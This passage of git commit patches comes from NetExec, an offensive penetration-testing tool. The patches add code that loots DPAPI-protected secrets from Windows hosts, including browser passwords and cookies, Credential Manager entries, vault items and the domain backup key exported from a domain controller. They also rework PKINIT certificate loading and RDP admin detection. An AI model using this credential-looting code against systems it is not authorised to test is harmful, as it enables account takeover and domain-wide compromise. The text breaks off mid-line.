isinstance(secret, FirefoxData): url = secret.url + " -" if secret.url != "" else "-" @@ -328,27 +312,41 @@ def firefox_callback(secret): firefox_triage.run(gather_cookies=self.dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") + + return credential_counter # The dpapi function for every protocol def triage_dpapi(self): + # Get the handle of the output file, this will be use by every triage functions to write looted secrets in there self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + + # Load masterkeys masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) if len(masterkeys) == 0: + # Nothing will be recovered if no masterkeys, so we can stop there self.context.logger.fail("No masterkeys looted") return self.context.logger.success("Looting secrets...") - self.triage_credentials(masterkeys) - self.triage_chromium(masterkeys) - self.triage_vaults(masterkeys) - self.triage_firefox() + # Keeping a counter to know how it went + counter = 0 + + # Calling all the triage functions. We can add other triage functions here + counter += self.triage_credentials(masterkeys) + counter += self.triage_chromium(masterkeys) + counter += self.triage_vaults(masterkeys) + counter += self.triage_firefox() + # If the output file is still opened, the gently close it. if self.output_file: self.output_file.close() - with open(self.context.output_file_template.format(output_folder="dpapi")) as f: - if sum(1 for _ in f) == 0: - self.context.logger.fail("No dpapi loot retrieved") + + # If no secrets recovered, then we still tell the user + if counter == 0: + self.context.logger.fail("No DPAPI secrets retrieved") + else: + self.context.logger.success(f"{counter} DPAPI secrets retrieved") def triage_sccm(self): masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) @@ -397,3 +395,68 @@ def sccm_callback(secret): sccm_triage.triage_sccm() except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") + + @property + def pvkbytes(self): + """ + This function will return pvkbytes and tries to set it if it as not already been + The precedence order is the following : + - Check the pvk argument + - Checks in the DB + - Get it from a domain controller + """ + # pvkbytes already loaded and in cache ? Serve it + if self._pvkbytes is not None: + return self._pvkbytes + + pvkbytes = None + + # First check the pvk argument and handle it + if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: + try: + with open(self.context.args.pvk, "rb") as fd: + pvkbytes = fd.read() + self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") + except Exception as e: + self.context.logger.fail(str(e)) + + # If no pvkbytes yet, then we check in the DB + if pvkbytes is None: + try: + results = self.context.db.get_domain_backupkey(self.context.domain) + except Exception: + self.context.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option") + return False + if len(results) > 0: + self.context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + + # If no pvkbytes yet, then we can try to get it from a domain controller + if pvkbytes is None and self.context.no_da is None and self.context.args.local_auth is False: + try: + dc_target = SMBTarget.create( + domain=self.context.domain, + username=self.context.username, + password=self.context.password, + address=self.context.kdcHost if self.context.kdcHost is not None and self.context.kdcHost != "" else self.context.domain, # querying DNS server for domain will return DC + lmhash=self.context.lmhash, + nthash=self.context.nthash, + do_kerberos=self.context.kerberos, + aesKey=self.context.aesKey, + use_kcache=self.context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + self.context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + self.context.db.add_domain_backupkey(self.context.domain, pvkbytes) + else: + self.context.no_da = False + except Exception as e: + self.context.logger.fail(f"Could not get domain backupkey: {e}") + + self._pvkbytes = pvkbytes + return self._pvkbytes diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 0342ea10ff..23939b72e9 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -35,6 +35,4 @@ def on_admin_login(self, context, connection): context.log.highlight(mkhash) except Exception as e: - import traceback - traceback.print_exc() context.log.debug(f"Could not get masterkeys: {e}") diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index c8c97e4d8b..312cade4f4 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -79,12 +79,7 @@ def reflect_tables(self): self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) - def add_host( - self, - ip, - hostname, - port, - ): + def add_host(self, ip, hostname, port): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] From a34140e7c1e462a56a70dd741c166bc8c61a44b1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Sun, 2 Aug 2026 22:29:40 +0200 Subject: [PATCH 153/397] ruff --- nxc/helpers/dpapi.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 85f00f2574..df1b6e4190 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -77,7 +77,7 @@ def __init__(self, context, target: Target): if context.args.dpapi is not None: self.dump_cookies = "cookies" in context.args.dpapi - # Variables to know what materkey types have already been dumped + # Variables to know what materkey types have already been dumped self.system_masterkeys_already_dumped = False self.users_masterkeys_already_dumped = False @@ -170,6 +170,7 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): def triage_credentials(self, masterkeys: list[Masterkey]): credential_counter = 0 # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): credential_counter += 1 tag = "CREDENTIAL" @@ -249,11 +250,12 @@ def browser_callback(secret): browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") - + return credential_counter def triage_vaults(self, masterkeys: list[Masterkey]): credential_counter = 0 + def vault_callback(secret): credential_counter += 1 tag = "IEX" @@ -283,6 +285,7 @@ def vault_callback(secret): def triage_firefox(self): credential_counter = 0 + def firefox_callback(secret): credential_counter += 1 tag = "FIREFOX" @@ -312,14 +315,14 @@ def firefox_callback(secret): firefox_triage.run(gather_cookies=self.dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - + return credential_counter # The dpapi function for every protocol def triage_dpapi(self): # Get the handle of the output file, this will be use by every triage functions to write looted secrets in there self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - + # Load masterkeys masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) if len(masterkeys) == 0: @@ -410,7 +413,7 @@ def pvkbytes(self): return self._pvkbytes pvkbytes = None - + # First check the pvk argument and handle it if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: try: @@ -457,6 +460,6 @@ def pvkbytes(self): self.context.no_da = False except Exception as e: self.context.logger.fail(f"Could not get domain backupkey: {e}") - + self._pvkbytes = pvkbytes return self._pvkbytes From 395bad514d205dd427b4e13e1d9d57163aaf5d76 Mon Sep 17 00:00:00 2001 From: zblurx Date: Sun, 2 Aug 2026 22:34:48 +0200 Subject: [PATCH 154/397] using function returned values instead of counter --- nxc/helpers/dpapi.py | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index df1b6e4190..1a3e617817 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -168,11 +168,9 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): return self.masterkeys def triage_credentials(self, masterkeys: list[Masterkey]): - credential_counter = 0 # Collect User and Machine Credentials Manager secrets def credential_callback(credential): - credential_counter += 1 tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.context.logger.highlight(line) @@ -190,14 +188,13 @@ def credential_callback(credential): try: credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.context.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials_triage.triage_credentials() - credentials_triage.triage_system_credentials() + secrets = credentials_triage.triage_credentials() + secrets += credentials_triage.triage_system_credentials() except Exception as e: self.context.logger.debug(f"Error while looting credentials: {e}") - return credential_counter + return len(secrets) def triage_chromium(self, masterkeys: list[Masterkey]): - credential_counter = 0 cng_chromekey = None # We need the CNG triage to recover Chrome passwords since Chrome v137 try: @@ -211,7 +208,6 @@ def triage_chromium(self, masterkeys: list[Masterkey]): # Collect Chrome Based Browser stored secrets def browser_callback(secret): - credential_counter += 1 if isinstance(secret, LoginData): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" @@ -247,17 +243,14 @@ def browser_callback(secret): try: browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) - browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) + secrets = browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") - return credential_counter + return len(secrets[0]) def triage_vaults(self, masterkeys: list[Masterkey]): - credential_counter = 0 - def vault_callback(secret): - credential_counter += 1 tag = "IEX" if secret.type == "Internet Explorer": resource = secret.resource + " -" if secret.resource != "" else "-" @@ -277,17 +270,14 @@ def vault_callback(secret): try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback) - vaults_triage.triage_vaults() + secrets = vaults_triage.triage_vaults() except Exception as e: self.context.logger.debug(f"Error while looting vaults: {e}") - return credential_counter + return len(secrets) def triage_firefox(self): - credential_counter = 0 - def firefox_callback(secret): - credential_counter += 1 tag = "FIREFOX" if isinstance(secret, FirefoxData): url = secret.url + " -" if secret.url != "" else "-" @@ -312,11 +302,11 @@ def firefox_callback(secret): try: # Collect Firefox stored secrets firefox_triage = FirefoxTriage(target=self.target, logger=self.context.logger, conn=self.conn, per_secret_callback=firefox_callback) - firefox_triage.run(gather_cookies=self.dump_cookies) + secrets = firefox_triage.run(gather_cookies=self.dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - return credential_counter + return len(secrets) # The dpapi function for every protocol def triage_dpapi(self): From 80c22d46110d7cd477d9f3a763de6c48ffd490a0 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 2 Aug 2026 22:39:39 +0200 Subject: [PATCH 155/397] update uv lock --- uv.lock | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/uv.lock b/uv.lock index c555cf1ebf..76affbf5de 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "2026-07-14T14:10:39.438350905Z" +exclude-newer = "2026-08-01T20:37:47.701901443Z" exclude-newer-span = "P1D" [[package]] @@ -856,8 +856,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260317.95020.1049826e" -source = { git = "https://github.com/Pennyw0rth/impacket#1049826efbc556221cca17f94e9fd0b944b8c600" } +version = "0.14.0.dev0+20260731.125001.141be7ac" +source = { git = "https://github.com/fortra/impacket#141be7ac577d5165adf2a70b677091ed3557eb36" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, @@ -1334,13 +1334,13 @@ requires-dist = [ { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, { name = "dploot", specifier = ">=3.2.2" }, { name = "dsinternals", specifier = ">=1.2.4" }, - { name = "impacket", git = "https://github.com/Pennyw0rth/impacket" }, + { name = "impacket", git = "https://github.com/fortra/impacket" }, { name = "jwt", specifier = ">=1.3.1" }, { name = "lsassy", specifier = ">=3.1.11" }, { name = "masky", specifier = ">=0.2.1" }, { name = "minikerberos", specifier = ">=0.4.1" }, { name = "neo4j", specifier = ">=5.0.0" }, - { name = "oscrypto", git = "https://github.com/wbond/oscrypto?rev=1547f535001ba568b239b8797465536759c742a3" }, + { name = "oscrypto", git = "https://github.com/wbond/oscrypto" }, { name = "paramiko", specifier = ">=3.3.1" }, { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" }, { name = "pyasn1-modules", specifier = ">=0.3.0" }, @@ -1362,14 +1362,14 @@ requires-dist = [ dev = [ { name = "flake8" }, { name = "pytest", specifier = ">=7.2.2,<8" }, - { name = "ruff", specifier = "==0.11.0" }, + { name = "ruff" }, { name = "shiv" }, ] [[package]] name = "oscrypto" version = "1.3.0" -source = { git = "https://github.com/wbond/oscrypto?rev=1547f535001ba568b239b8797465536759c742a3#1547f535001ba568b239b8797465536759c742a3" } +source = { git = "https://github.com/wbond/oscrypto#76bfdcb7285d856c44f8d0fbafe0ecca1c6d2f8b" } dependencies = [ { name = "asn1crypto" }, ] From 00811f26cc61bf35d390b4f2c1cbd23cbc85fcd4 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 2 Aug 2026 23:14:45 +0200 Subject: [PATCH 156/397] removing oscrypto --- nxc/helpers/pfx.py | 78 ++++++++++++++++++++++++++++++---------------- poetry.lock | 14 +++------ pyproject.toml | 2 +- uv.lock | 12 ++++--- 4 files changed, 65 insertions(+), 41 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 014fa652a3..ff9a83085b 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -35,15 +35,18 @@ from binascii import unhexlify, hexlify -from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private -from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import padding, rsa +from cryptography.hazmat.primitives.serialization import pkcs12 from asn1crypto import cms from asn1crypto import algos from asn1crypto import core from asn1crypto import keys +from asn1crypto import pem +from asn1crypto import x509 -from minikerberos.pkinit import PKINIT, DirtyDH +from minikerberos.protocol.dirtydh import DirtyDH from minikerberos.protocol.constants import NAME_TYPE, PaDataType from minikerberos.protocol.encryption import Enctype, _enctype_table, Key from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST @@ -71,12 +74,37 @@ from nxc.logger import nxc_logger -class myPKINIT(PKINIT): +def _load_asn1_certificate(data): + """Load a certificate as an asn1crypto object, accepting both PEM and DER input""" + if pem.detect(data): + _, _, data = pem.unarmor(data) + return x509.Certificate.load(data) + + +def _check_rsa_privkey(privkey): + """PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early""" + if not isinstance(privkey, rsa.RSAPrivateKey): + raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}") + return privkey + + +class myPKINIT: """ Copy of minikerberos PKINIT With some changes where it differs from PKINIT used in NegoEx """ + def __init__(self): + self.privkeyinfo = None + self.privkey = None + self.certificate = None + self.extra_certs = None + self.user_sid = None + self.user_name = None + self.issuer = None + self.cname = None + self.diffie = None + @staticmethod def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): with open(pfxfile, "rb") as f: @@ -90,26 +118,15 @@ def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): @staticmethod def from_pfx_data(pfxdata, pfxpass, dh_params=None): pkinit = myPKINIT() - # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead - if not pfxpass: - from cryptography.hazmat.primitives.serialization import pkcs12 - from cryptography.hazmat.primitives import serialization - privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) - pem_key = privkey.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption(), - ) - pkinit.privkey = load_private_key(parse_private(pem_key)) - pem_cert = cert.public_bytes( - encoding=serialization.Encoding.PEM - ) - pkinit.certificate = parse_certificate(pem_cert) - else: - if isinstance(pfxpass, str): - pfxpass = pfxpass.encode() - pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) - pkinit.privkey = load_private_key(pkinit.privkeyinfo) + if isinstance(pfxpass, str): + pfxpass = pfxpass.encode() + # cryptography requires None (not an empty password) for a pfx without password + privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None) + if cert is None: + raise Exception("No certificate found in the PFX file") + pkinit.privkey = _check_rsa_privkey(privkey) + pkinit.certificate = x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER)) + pkinit.extra_certs = [x509.Certificate.load(extra.public_bytes(serialization.Encoding.DER)) for extra in extra_certs or []] pkinit.setup(dh_params=dh_params) return pkinit @@ -117,9 +134,16 @@ def from_pfx_data(pfxdata, pfxpass, dh_params=None): def from_pem(certfile, privkeyfile, dh_params=None): pkinit = myPKINIT() with open(certfile, "rb") as f: - pkinit.certificate = parse_certificate(f.read()) + pkinit.certificate = _load_asn1_certificate(f.read()) with open(privkeyfile, "rb") as f: - pkinit.privkey = load_private_key(parse_private(f.read())) + keydata = f.read() + try: + privkey = serialization.load_pem_private_key(keydata, password=None) + except TypeError as e: + raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e + except ValueError: + privkey = serialization.load_der_private_key(keydata, password=None) + pkinit.privkey = _check_rsa_privkey(privkey) pkinit.setup(dh_params=dh_params) return pkinit @@ -237,7 +261,7 @@ def sign_authpack_native(self, data, wrap_signed=False): cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be. ] si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"}) - si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1") + si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1()) ec = {} ec["content_type"] = "1.3.6.1.5.2.3.1" diff --git a/poetry.lock b/poetry.lock index a6e8621d9a..56b4c16326 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1694,18 +1694,14 @@ description = "TLS (SSL) sockets, key generation, encryption, decryption, signin optional = false python-versions = "*" groups = ["main"] -files = [] -develop = false +files = [ + {file = "oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085"}, + {file = "oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4"}, +] [package.dependencies] asn1crypto = ">=1.5.1" -[package.source] -type = "git" -url = "https://github.com/wbond/oscrypto" -reference = "HEAD" -resolved_reference = "1547f535001ba568b239b8797465536759c742a3" - [[package]] name = "packaging" version = "26.0" @@ -2990,4 +2986,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "06b6bb8d03df489bbccc835c0650c83407c4d5d7961e171df7a5144386d8ea56" +content-hash = "c0aa9e4d6e98e01f9e0a43b122439ccc0f01709afcea3bf645ed830ee35c54a6" diff --git a/pyproject.toml b/pyproject.toml index 49692fc5be..829c0d3934 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -23,6 +23,7 @@ dependencies = [ "beautifulsoup4>=4.11,<5", "bloodhound-ce>=1.8.0", "certihound>=0.1.1", + "cryptography>=42.0.8", "dploot>=3.2.2", "dsinternals>=1.2.4", "jwt>=1.3.1", @@ -47,7 +48,6 @@ dependencies = [ # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", "impacket @ git+https://github.com/fortra/impacket", - "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] diff --git a/uv.lock b/uv.lock index 76affbf5de..8f81541103 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "2026-08-01T20:37:47.701901443Z" +exclude-newer = "2026-08-01T20:50:46.878646981Z" exclude-newer-span = "P1D" [[package]] @@ -1289,6 +1289,7 @@ dependencies = [ { name = "bloodhound-ce" }, { name = "certihound" }, { name = "certipy-ad" }, + { name = "cryptography" }, { name = "dploot" }, { name = "dsinternals" }, { name = "impacket" }, @@ -1297,7 +1298,6 @@ dependencies = [ { name = "masky" }, { name = "minikerberos" }, { name = "neo4j" }, - { name = "oscrypto" }, { name = "paramiko" }, { name = "pefile" }, { name = "pyasn1-modules" }, @@ -1332,6 +1332,7 @@ requires-dist = [ { name = "bloodhound-ce", specifier = ">=1.8.0" }, { name = "certihound", specifier = ">=0.1.1" }, { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, + { name = "cryptography", specifier = ">=42.0.8" }, { name = "dploot", specifier = ">=3.2.2" }, { name = "dsinternals", specifier = ">=1.2.4" }, { name = "impacket", git = "https://github.com/fortra/impacket" }, @@ -1340,7 +1341,6 @@ requires-dist = [ { name = "masky", specifier = ">=0.2.1" }, { name = "minikerberos", specifier = ">=0.4.1" }, { name = "neo4j", specifier = ">=5.0.0" }, - { name = "oscrypto", git = "https://github.com/wbond/oscrypto" }, { name = "paramiko", specifier = ">=3.3.1" }, { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" }, { name = "pyasn1-modules", specifier = ">=0.3.0" }, @@ -1369,10 +1369,14 @@ dev = [ [[package]] name = "oscrypto" version = "1.3.0" -source = { git = "https://github.com/wbond/oscrypto#76bfdcb7285d856c44f8d0fbafe0ecca1c6d2f8b" } +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "asn1crypto" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/06/81/a7654e654a4b30eda06ef9ad8c1b45d1534bfd10b5c045d0c0f6b16fecd2/oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4", size = 184590, upload-time = "2022-03-18T01:53:26.889Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/7c/fa07d3da2b6253eb8474be16eab2eadf670460e364ccc895ca7ff388ee30/oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085", size = 194553, upload-time = "2022-03-18T01:53:24.559Z" }, +] [[package]] name = "packaging" From cfee504986ed605fc50416f0f0bdc97e501f2ca8 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 4 Aug 2026 18:12:24 +0200 Subject: [PATCH 157/397] allow modules to abort the run by returning False from options() --- nxc/loaders/moduleloader.py | 3 ++- nxc/modules/example_module.py | 1 + nxc/netexec.py | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index c393e7b14b..d7351e9813 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -100,7 +100,8 @@ def init_module(self, module_path): key, value = option.split("=", 1) module_options[str(key).upper()] = value - module.options(context, module_options) + if module.options(context, module_options) is False: + return None return module else: self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") diff --git a/nxc/modules/example_module.py b/nxc/modules/example_module.py index 7c3d947915..f7adfdfbdd 100644 --- a/nxc/modules/example_module.py +++ b/nxc/modules/example_module.py @@ -22,6 +22,7 @@ def options(self, context, module_options): Module options get parsed here. Additionally, put the modules usage here as well """ # Put "No options available" in the docstring if there are no options for the module + # Return False to abort the run if options are invalid (log with context.log.fail first). def on_login(self, context, connection): """Concurrent. diff --git a/nxc/netexec.py b/nxc/netexec.py index f606e6e54f..021b862a6f 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -208,6 +208,8 @@ def main(): nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}") module = loader.init_module(modules[m]["path"]) + if module is None: + exit(1) # Add modules paths to the protocol object so it can load them itself proto_module_paths.append(modules[m]["path"]) From 130c668de8c7756dccc4b37b9a5511ea6d0c8190 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 5 Aug 2026 22:21:57 +0200 Subject: [PATCH 158/397] Only mark RDP hosts Pwn3d when a real session actually opens --- nxc/protocols/rdp.py | 60 ++++++++++++++++++++++++++++++++++---------- 1 file changed, 47 insertions(+), 13 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index fdbdd923c4..7fe29e6a68 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -13,7 +13,7 @@ from nxc.config import host_info_colors, process_secret from nxc.paths import NXC_PATH -from aardwolf.connection import RDPConnection +from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED from aardwolf.commons.queuedata.constants import VIDEO_FORMAT from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE from aardwolf.commons.iosettings import RDPIOSettings @@ -168,6 +168,9 @@ def create_conn_obj(self): timeout=self.args.rdp_timeout, ) + # Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it + self.iosettings.supported_protocols = None + return True async def check_nla(self): @@ -202,6 +205,7 @@ async def connect_rdp(self): _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout) if err is not None: raise err + self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}") async def terminate_conn(self): """Terminate the RDP connection with a timeout so cleanup doesn't hang.""" @@ -216,6 +220,30 @@ async def connect_rdp_with_cleanup(self): finally: await self.terminate_conn() + async def login_and_confirm(self): + """Connect and return whether a real session opened (Save Session Info PDU), always cleaning up. + + That PDU never comes when access is authorized but the logon is refused (restricted admin). + """ + try: + await self.connect_rdp() + try: + await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout) + return True + except asyncio.TimeoutError: + self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)") + return False + finally: + await self.terminate_conn() + + def rdp_access_denied(self): + """Whether the Early User Authorization Result PDU says the account has no RDP access right at all. + + Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU. + """ + self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}") + return self.conn.authz_result == AUTHZ_ACCESS_DENIED + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: lmhash = "" @@ -269,9 +297,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", stype=stype, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success( "{}\\{}{} {}".format( domain, @@ -299,8 +326,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) - elif "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") + elif self.rdp_access_denied(): + self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True elif "No such file" in str(e): self.logger.fail(e) else: @@ -325,9 +355,8 @@ def plaintext_login(self, domain, username, password): stype=asyauthSecret.PASS, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) @@ -335,8 +364,11 @@ def plaintext_login(self, domain, username, password): add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: - if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") + if self.rdp_access_denied(): + self.logger.success(f"{domain}\\{username}:{process_secret(password)}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True else: reason = None for word in self.rdp_error_status: @@ -359,9 +391,8 @@ def hash_login(self, domain, username, ntlm_hash): stype=asyauthSecret.NT, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + self.admin_privs = asyncio.run(self.login_and_confirm()) - self.admin_privs = True self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) @@ -369,8 +400,11 @@ def hash_login(self, domain, username, ntlm_hash): add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: - if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") + if self.rdp_access_denied(): + self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}") + if not self.args.local_auth and self.username != "": + add_user_bh(username, domain, self.logger, self.config) + return True else: reason = None for word in 